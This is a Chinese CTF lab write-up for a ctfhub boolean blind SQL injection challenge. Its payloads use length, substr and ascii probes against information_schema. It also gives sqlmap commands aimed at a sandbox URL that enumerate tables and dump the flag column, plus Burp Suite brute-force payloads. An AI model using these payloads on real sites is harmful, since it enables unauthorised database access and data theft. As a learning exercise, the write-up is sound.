2025.1.15——四、布尔注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得到本题为布尔注入

方法一:手工盲注(不推荐)

[step 1:判断具体形式](#step 1:判断具体形式)

[step 2:查询字段数](#step 2:查询字段数)

[step 3:通过回显判断数据库名的长度和每个字符](#step 3:通过回显判断数据库名的长度和每个字符)

1.判断长度

2.判断每个字符

[step 4:判断有几个表以及各个表名的长度和每个字符](#step 4:判断有几个表以及各个表名的长度和每个字符)

1.判断表的数量

​编辑

​编辑

2.判断长度

3.判断字符

​编辑

[step 5:判断列数以及各个列的长度和字符](#step 5:判断列数以及各个列的长度和字符)

1.判断列数

2.判断长度

3.判断字符

方法二:sqlmap爆数据库、表名、列名

[step 1:爆数据库名](#step 1:爆数据库名)

​编辑​编辑

[step 2:爆表](#step 2:爆表)

[step 3:爆列](#step 3:爆列)

方法三:burpsuit抓包,爆数据库、表名、列名

[step 1:判断数据库名的长度以及符号](#step 1:判断数据库名的长度以及符号)

1.判断长度

2.判断字符

​编辑

[step 2:判断表的数量以及长度、字符](#step 2:判断表的数量以及长度、字符)

[step 3:判断列数以及长度、字符](#step 3:判断列数以及长度、字符)

[step 4:爆破数据](#step 4:爆破数据)

1.爆破长度

2.爆破具体数据

方法四:脚本爆数据库、表名、列名


一、基本操作:整理已知信息,得到本题为布尔注入

有三个方法,手工盲注必须了解,但是很麻烦,得一个个尝试对错,所以利用工具更方便,例如:sqlmap、bp爆信息、脚本循环遍历

方法一:手工盲注(不推荐)

step 1:判断具体形式

键入:1 #

键入:1 and 1=2 #

键入:1' #

所以可以得到本题也为整数型注入

step 2:查询字段数

键入:1 order by 3 #

键入:1 order by 2 #

寻常方法,如:1 and 1=2 union select database(),database() #没有用,毕竟只会回显1或0

step 3:通过回显判断数据库名的长度和每个字符

length(str)函数:用于获取字符串长度的函数

substr()函数:用于从字符串中提取子字符串

1.判断长度

sql 复制代码
1 and length(database())=1 #
sql 复制代码
1 and length(database())=4 #

所以数据库名长度为4

2.判断每个字符

sql 复制代码
1 and substr(database(),1,1)='a' #
sql 复制代码
1 and substr(database(),1,1)='s' #
sql 复制代码
1 and substr(database(),2,1)='q' #
sql 复制代码
1 and substr(database(),3,1)='l' #
sql 复制代码
1 and substr(database(),4,1)='i' #

得到数据库名为sqli(按照前几题的经验),如果是陌生的题,建议用sqlmap或者burpsuit爆破

step 4:判断有几个表以及各个表名的长度和每个字符

1.判断表的数量

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #

2.判断长度

第一个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #

第二个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #

step 5:判断列数以及各个列的长度和字符

1.判断列数

sql 复制代码
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #

2.判断长度

sql 复制代码
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'

方法二:sqlmap爆数据库、表名、列名

step 1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库名为sqli

step 2:爆表

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

得到一共两个表,分别为flag和news

step 3:爆列

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

得到只有一列

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag

方法三:burpsuit抓包,爆数据库、表名、列名

这里要用到ASCII表

step 1:判断数据库名的长度以及符号

1.判断长度

在框内输入

sql 复制代码
1 and length(database())=1#

然后进行抓包、爆破

得到数据库名字符串的长度为4

2.判断字符

sql 复制代码
1 and ascii(substr(database(),1,1))=100#

第一个字符为s

后面字符修改为

sql 复制代码
1 and ascii(substr(database(),2,1))=100#

依次可以得到

第二个字符为q

第三个字符为l

第四个字符为i

所以数据库名为sqli

step 2:判断表的数量以及长度、字符

1.判断表数详见方法一

2.判断长度同样输入payload再抓包

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #

注:x为爆破点

3.判断字符同上

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

注:100则为爆破点

得到表名为news、flag

step 3:判断列数以及长度、字符

1.判断列数

payload:1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#

2.判断长度同样输入payload再抓包

payload:1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #

注:x为爆破点

3.判断字符

payload:1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #

注:x为爆破点;ordinal bu_position:按照列的顺序位置排序

step 4:爆破数据

1.爆破长度

payload:1 and (select length(flag) from sqli.flag limit 1) = 10 #

注:10为爆破点

2.爆破具体数据

payload:1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

注:99为爆破点

一个一个爆破太久了,所以还是sqlmap好用

方法四:脚本爆数据库、表名、列名

引用脚本:CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客

python还不会用,先放这

相关推荐
jimsten几秒前
苍穹外卖 - Day02 学习笔记
java·笔记·学习
人类恶.14 分钟前
C 语言学习笔记(6)
c语言·笔记·学习
AI改变未来15 分钟前
数据库常见故障排查
数据库
bing_15823 分钟前
MongoDB 的核心概念(文档、集合、数据库、BSON)是什么?
数据库·mongodb·oracle
feilieren28 分钟前
Windows 安装 Milvus
数据库·ai·milvus
kngines42 分钟前
【PostgreSQL数据分析实战:从数据清洗到可视化全流程】附录-D. 扩展插件列表(PostGIS/PostgREST等)
数据库·postgresql·数据分析·pgvector·扩展插件·postgrest·向量数据
星星点点洲1 小时前
【Redis】谈谈Redis的设计
数据库·redis·缓存
HelloZheQ1 小时前
MVCC:数据库并发控制的利器
服务器·数据库·oracle
chilavert3181 小时前
关于Python 实现接口安全防护:限流、熔断降级与认证授权的深度实践
python·网络安全
上海云盾第一敬业销售1 小时前
高防ip支持哪些网络协议
网络安全